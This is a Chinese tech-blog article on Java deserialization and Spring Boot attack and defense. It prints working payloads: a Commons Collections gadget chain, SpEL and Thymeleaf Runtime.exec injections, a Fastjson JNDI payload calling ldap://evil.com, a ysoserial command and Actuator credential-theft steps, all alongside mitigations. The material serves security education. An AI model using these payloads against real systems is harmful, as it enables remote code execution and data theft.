news 2026/6/19 14:10:08

Java安全深度剖析:从原生反序列化到Spring Boot攻防实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Java安全深度剖析:从原生反序列化到Spring Boot攻防实战

第一章:Java安全基础与反序列化原理

1.1 Java序列化与反序列化机制

Java 提供了一种对象持久化机制,允许将对象转换为字节序列(序列化),以便存储或传输;之后可以从字节序列中恢复出原始对象(反序列化)。

核心接口

  • java.io.Serializable:标记接口,标识类可被序列化。

  • java.io.Externalizable:继承自 Serializable,允许自定义序列化逻辑。

  • ObjectOutputStream/ObjectInputStream:负责序列化和反序列化的核心类。

序列化过程

java

User user = new User("admin", "123456"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser")); oos.writeObject(user); oos.close();

反序列化过程

java

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser")); User user = (User) ois.readObject(); ois.close();

序列化数据格式
序列化后的字节流包含类描述信息、字段名、字段类型、字段值等元数据。其结构大致如下:

  • Magic Number (0xACED) + Version

  • 类描述符 (classDesc)

  • 对象数据 (objectData)

1.2 反序列化漏洞成因

反序列化漏洞的根本原因在于:反序列化过程中,从字节流中恢复对象时,会调用某些类的特定方法(如readObjectreadResolvefinalize等),如果这些方法中存在危险操作(如反射、命令执行、文件写入等),且攻击者能控制反序列化的输入数据,即可触发任意代码执行。

关键点

  1. 入口类:反序列化时自动执行的方法(readObject)。

  2. 利用链:一系列类方法调用,最终导向危险操作(如 Runtime.exec)。

  3. POP链:Property-Oriented Programming,通过对象属性链调用。


第二章:Java原生反序列化漏洞利用链分析

2.1 核心利用链:Commons Collections

Apache Commons Collections 库提供了丰富的集合类,其中的InvokerTransformerConstantTransformerChainedTransformer等类可以用于构造任意代码执行链。

2.1.1 InvokerTransformer 的威胁

InvokerTransformer实现了Transformer接口,其transform方法可以通过反射调用任意方法:

java

public Object transform(Object input) { // 通过反射调用 input 的指定方法 return input.getClass().getMethod(methodName, paramTypes).invoke(input, args); }

如果攻击者能控制input对象,就可以调用任意方法。

2.1.2 经典利用链:TransformedMap

TransformedMap在装饰一个 Map 时,可以对键值进行转换。当反序列化时,如果 Map 中的元素被修改,就会触发transform调用。

利用思路

  1. 构造一个Transformer链:ConstantTransformerInvokerTransformer

  2. TransformedMap.decorate包装,设置转换器。

  3. 利用AnnotationInvocationHandlerreadObject方法中会调用setValue,触发transform

代码示例(简化版):

java

// 构造命令执行链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer); // 使用 AnnotationInvocationHandler 触发 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object handler = ctor.newInstance(Override.class, outerMap); // 序列化后反序列化即触发 serialize(handler); deserialize();

2.2 其他常用利用链

库名关键类利用链标识
Commons Collections 3.2.1InvokerTransformer, LazyMapCC1, CC5, CC6
Commons Collections 4.0InvokerTransformer (新增)CC2, CC3
Commons BeanutilsPropertyUtils, BeanComparatorCB1
Jackson支持多种反序列化 GadgetJackson 反序列化漏洞
Fastjson自动调用 setter/getterFastjson 反序列化 RCE
Hibernate通过TypedValue等触发Hibernate 链
Spring AOPMethodInvocationTypeSpring 链

2.3 高版本 JDK 的限制与绕过

JDK 8u71 之后的改变

  • AnnotationInvocationHandlerreadObject不再直接调用setValue,导致 CC1 失效。

  • javax.management.BadAttributeValueExpException等新入口点被发掘。

绕过思路

  • 寻找新的触发点,如PriorityQueuereadObject+Comparator

  • 使用TemplatesImpl类加载任意字节码(需要_bytecodes字段)。

2.3.1 TemplatesImpl 链

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplgetOutputProperties方法会触发newTransformer(),进而加载恶意字节码。

利用步骤

  1. 构造恶意字节码(继承AbstractTranslet)。

  2. 设置TemplatesImpl_bytecodes字段。

  3. 通过某个类的readObject调用getOutputProperties(例如InvokerTransformerPriorityQueue+BeanComparator)。

2.4 原生反序列化漏洞的防御

  1. 禁止反序列化:不接收不可信的序列化数据。

  2. 使用白名单机制ObjectInputStream重写resolveClass方法,只允许指定类。

    java

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); if (!allowedClasses.contains(name)) { throw new InvalidClassException("Unauthorized deserialization", name); } return super.resolveClass(desc); }
  3. 使用第三方工具:如 Apache Commons IO 的SerializationUtils配合ValidatingObjectInputStream

  4. 升级组件版本:避免使用存在漏洞的版本(如 Commons Collections 3.2.1 → 3.2.2)。

  5. JEP 290:Java 9+ 引入了序列化过滤器(ObjectInputFilter),可限制反序列化的类。


第三章:Spring Boot 安全攻防

3.1 Spring Boot 特性与安全风险

Spring Boot 因其自动配置、内嵌容器、Actuator 监控等特性,在方便开发的同时也引入了特定安全风险。

常见风险点

  • Actuator 端点暴露敏感信息。

  • 反序列化漏洞(尤其是使用 Hessian、Kryo 等 RPC 时)。

  • 表达式注入(SpEL)。

  • 不当的输入验证导致 SQL 注入、XSS。

  • 依赖库漏洞(如 fastjson、log4j2)。

3.2 Spring Boot Actuator 安全

Actuator 提供了大量监控和管理端点,默认配置下可能暴露:

  • /actuator/env:环境变量、配置信息。

  • /actuator/beans:所有 Bean 信息。

  • /actuator/mappings:URL 映射。

  • /actuator/heapdump:堆转储文件(含内存敏感数据)。

攻击方式

  • 获取env中的spring.datasource.passwordredis.password

  • 通过heapdump分析内存提取敏感信息。

  • 结合 Jolokia(JMX)实现 RCE。

防护措施

  • 配置management.endpoints.web.exposure.exclude=*仅暴露必要端点。

  • 使用management.endpoints.web.base-path改变端点路径。

  • 结合 Spring Security 对 Actuator 端点进行认证授权。

  • 生产环境关闭 Actuator 或限制 IP。

3.3 Spring Boot 反序列化漏洞

3.3.1 常见反序列化入口
  1. @RequestBody 接收 Java 对象:默认使用 Jackson 反序列化,若目标类存在危险 setter 或@JsonCreator,可导致 RCE。

  2. 使用 Hessian / Kryo RPC:这些协议本身存在反序列化漏洞。

  3. Spring Data Redis:当使用 Redis 缓存 Java 对象时,若配置了 JdkSerializationRedisSerializer,则可能触发反序列化。

  4. HTTP Session 存储:若将 Session 存储到 Redis、JDBC 且使用 Java 序列化,则 Session 中的对象可被利用。

3.3.2 案例分析:Spring Data Redis 反序列化

配置示例

java

@Bean public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) { RedisTemplate<String, Object> template = new RedisTemplate<>(); template.setConnectionFactory(factory); template.setDefaultSerializer(new JdkSerializationRedisSerializer()); return template; }

攻击场景:攻击者能写入 Redis(如通过未授权访问),写入恶意序列化对象,当应用读取时触发 RCE。

防御

  • 使用Jackson2JsonRedisSerializer替代 JDK 序列化。

  • 对 Redis 进行认证和网络隔离。

3.4 Spring Expression Language (SpEL) 注入

SpEL 常用于注解(如@Value@PreAuthorize)和模板解析。若用户输入被直接作为 SpEL 表达式解析,可导致 RCE。

危险示例

java

@Value("#{${user.input}}") private String value;

或:

java

public String parse(String expression) { ExpressionParser parser = new SpelExpressionParser(); return parser.parseExpression(expression).getValue().toString(); }

利用 Payload

java

T(java.lang.Runtime).getRuntime().exec("calc.exe")

防御

  • 避免用户输入直接进入 SpEL 解析器。

  • 使用SimpleEvaluationContext限制表达式功能(限制类型引用、方法调用等)。

3.5 文件上传与目录遍历

Spring Boot 默认的文件上传配置(MultipartFile)可能导致:

  • 上传 webshell(若可解析)。

  • 路径遍历覆盖敏感文件。

防御

  • 限制上传文件类型(白名单)。

  • 将文件存储在非 Web 目录,通过 UUID 重命名。

  • 使用FilenameUtilsPath规范化路径,防止../

3.6 其他常见漏洞

漏洞类型触发场景修复建议
SQL 注入使用@Query拼接字符串、MyBatis ${}使用 #{} 或 JPA 规范,配合参数化查询
Log4j2 JNDI日志中输出用户输入(如 User-Agent)升级 log4j2 版本,禁用 JNDI
Fastjson 反序列化使用 Fastjson 解析 JSON升级到最新版,开启AutoType白名单
敏感数据泄露Actuator、Git 信息泄露删除 .git,配置 Actuator 安全

第四章:高级攻击技术与绕过

4.1 反序列化绕过 WAF

常见绕过方式:

  • 分块传输:在 HTTP 请求中分块发送序列化数据。

  • 编码绕过:将序列化字节流进行 Base64、Gzip 编码,WAF 无法识别。

  • 分段提交:将恶意序列化数据拆分为多个参数,服务端拼接后反序列化。

4.2 JEP 290 绕过

JEP 290 引入后,大部分 Gadget 链被阻止。但仍存在绕过:

  • 使用未被过滤的类作为入口点(如java.util.HashSet)。

  • 利用sun.reflect.annotation.AnnotationInvocationHandler(JDK 8u71 前)。

  • 利用java.rmi.registry.Registry等 RMI 类。

4.3 内存马(Memory Shell)

在 Spring Boot 应用中,通过动态注册 Controller、Filter 或 Servlet 实现无文件 webshell。

实现思路

  1. 获取当前应用上下文(WebApplicationContext)。

  2. 注册自定义的ControllerFilter

  3. 通过反序列化漏洞触发注册过程。

防御

  • 定期检查已注册的 Bean。

  • 使用ManagementEndpoint审计动态注册行为。

  • 使用 RASP(运行时应用自我保护)监控关键 API 调用。


第五章:安全编码与防御体系

5.1 输入验证与输出编码

  • 输入验证:对用户输入进行严格校验,使用@Valid+ Bean Validation。

  • 输出编码:在模板(Thymeleaf)中默认开启 HTML 转义,防止 XSS。

5.2 依赖安全

  • 使用 Maven/Gradle 插件OWASP Dependency-Check定期扫描漏洞。

  • 及时升级高危依赖(如 Spring Boot 版本、Log4j、Fastjson)。

5.3 安全配置清单

  1. Actuator:关闭或认证。

  2. Session:使用安全 Cookie(HttpOnly、Secure)。

  3. HTTPS:强制使用 TLS,配置 HSTS。

  4. 数据库:使用最小权限账户,连接加密。

  5. 文件上传:限制大小、类型,存储位置隔离。

  6. 日志:脱敏敏感信息,避免直接输出用户输入。

  7. 异常处理:统一处理异常,不返回堆栈信息。

5.4 安全测试与监控

  • SAST:静态代码分析工具(如 SonarQube、FindSecBugs)。

  • DAST:动态扫描工具(如 Burp Suite、OWASP ZAP)。

  • RASP:实时监控反序列化、命令执行等危险行为。

  • 日志监控:收集安全日志,检测异常行为(如多次反序列化失败、敏感端点访问)。


第六章:实战案例分析

6.1 案例一:Spring Boot + Fastjson RCE

环境

  • Spring Boot 2.x

  • Fastjson 1.2.24

触发点

  • Controller 接收 JSON,自动使用 Fastjson 解析。

Payload

json

{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://evil.com/Exploit", "autoCommit":true }

攻击链

  1. Fastjson 解析@type实例化JdbcRowSetImpl

  2. setAutoCommit触发connect,发起 JNDI 查询。

  3. LDAP 服务返回恶意对象,在客户端执行任意代码。

修复:升级 Fastjson 至 1.2.83 以上,开启安全模式。

6.2 案例二:Spring Boot Actuator 配置不当

场景

  • Actuator 暴露/actuator/env,且未认证。

  • 应用使用spring.datasource.url连接 MySQL。

攻击步骤

  1. 访问/actuator/env获取数据库密码。

  2. 若密码加密,通过/actuator/env的 POST 方法修改spring.datasource.url为恶意的 MySQL 服务器。

  3. 利用 MySQL 的 LOAD DATA LOCAL INFILE 读取客户端文件。

修复

  • 启用 Actuator 安全认证。

  • 禁止动态修改配置(management.endpoint.env.post.enabled=false)。

6.3 案例三:Thymeleaf 模板注入

场景

  • 使用 Thymeleaf 作为视图模板,用户可控参数直接传入@RequestParam并作为视图名。

漏洞代码

java

@GetMapping("/page") public String page(@RequestParam String name) { return "user/" + name; // 若 name = __${T(java.lang.Runtime).getRuntime().exec('calc')}__::.x }

利用:Thymeleaf 解析视图名时,若包含表达式语法,会执行 SpEL。

修复:使用@RequestParam时进行严格校验,或避免动态拼接视图名。


第七章:总结与展望

Java 安全的核心在于对输入数据的信任边界控制。无论是原生反序列化、Spring Boot 配置,还是第三方库的滥用,最终都指向同一问题:不可信数据流入了危险函数

核心防御思想

  1. 最小权限原则:应用运行权限、数据库权限、网络权限。

  2. 深度防御:多层次的防护(WAF → 输入校验 → 安全配置 → RASP)。

  3. 持续监控与更新:漏洞库、依赖版本、运行时行为。

未来趋势

  • 云原生安全:容器化环境下的配置安全、Secret 管理。

  • API 安全:GraphQL、gRPC 等新协议的安全风险。

  • AI 辅助安全:利用大模型进行代码审计和漏洞挖掘。


附录:常用 Payload 与工具

A.1 常用反序列化 Payload 生成工具

  • ysoserial:生成多种 Gadget 链的序列化数据。

    bash

    java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.ser
  • marshalsec:用于 JNDI 注入的 RMI/LDAP 服务。

A.2 Spring Boot 安全工具

  • Spring Boot Actuator 扫描actuator-scanner脚本。

  • HeapDump 分析:使用jhat或 Eclipse MAT 提取敏感信息。

A.3 常用 Payload 片段

SpEL 命令执行

java

T(java.lang.Runtime).getRuntime().exec("whoami")

TemplatesImpl 字节码加载

java

byte[] bytes = ...; // 恶意类字节码 TemplatesImpl obj = new TemplatesImpl(); setField(obj, "_bytecodes", new byte[][]{bytes}); setField(obj, "_name", "test"); setField(obj, "_tfactory", new TransformerFactoryImpl());

:本文内容仅供安全研究和防御学习使用,请勿用于非法用途。在实际开发中,应遵循安全开发生命周期(SDL),确保应用的安全性。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/19 13:58:01

机器人操作系统部署实战:深入Linux开机自启动管理

前言 在当今机器人技术快速发展的时代,构建稳定、可靠的机器人系统已成为核心诉求。其中,系统部署环节是确保机器人“随时待命”的基础。想象一下,一台机器人突然断电重启后,需要立即恢复服务,而无需手动介入——这正是开机自启动机制的价值所在。作为系统部署的核心环节…

作者头像 李华
网站建设 2026/6/19 13:55:32

2位加法器 FPGA 设计 Verilog Vivado

名称&#xff1a;2位加法器 FPGA 设计 Verilog Vivado软件&#xff1a;Vivado语言&#xff1a;Verilog功能介绍本设计实现一个 2 位二进制加法器&#xff0c;输入包括 2 位加数 add_a、2 位加数 add_b 以及低位进位 add_cin&#xff0c;输出包括 2 位求和结果 sum_out 和最高位…

作者头像 李华
网站建设 2026/6/19 13:48:13

LinkSwift:终极网盘直链下载助手 - 免费提升下载速度300%的完整指南

LinkSwift&#xff1a;终极网盘直链下载助手 - 免费提升下载速度300%的完整指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移…

作者头像 李华
网站建设 2026/6/19 13:48:03

计算机Django毕设实战-基于 Python 的企业员工考勤管理系统的设计与实现 基于 Python 的员工薪资核算管理系统的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/6/19 13:41:31

Claude Opus 4.7深度解析:从对话助手到推理协作者的范式跃迁

1. 这不是一次常规升级&#xff1a;Opus 4.7的本质是一场“能力重构”而非“性能迭代”我用Opus 4.7跑了整整11天&#xff0c;从凌晨三点的代码调试到清晨通勤路上的创意构思&#xff0c;从给客户写商业分析报告到帮孩子改作文&#xff0c;几乎覆盖了所有我能想到的中文高阶使用…

作者头像 李华
网站建设 2026/6/19 13:37:07

VSCode 自动补全的终极技巧:光标位置的艺术

在编写代码时,自动补全功能是提高效率的重要工具。特别是在使用 Visual Studio Code (VSCode) 时,如何让光标在自动补全后准确地停留在理想的位置,是许多开发者关心的问题。本文将通过一个实例,详细介绍如何在 VSCode 中实现光标在花括号中的自动补全。 背景介绍 假设我们…

作者头像 李华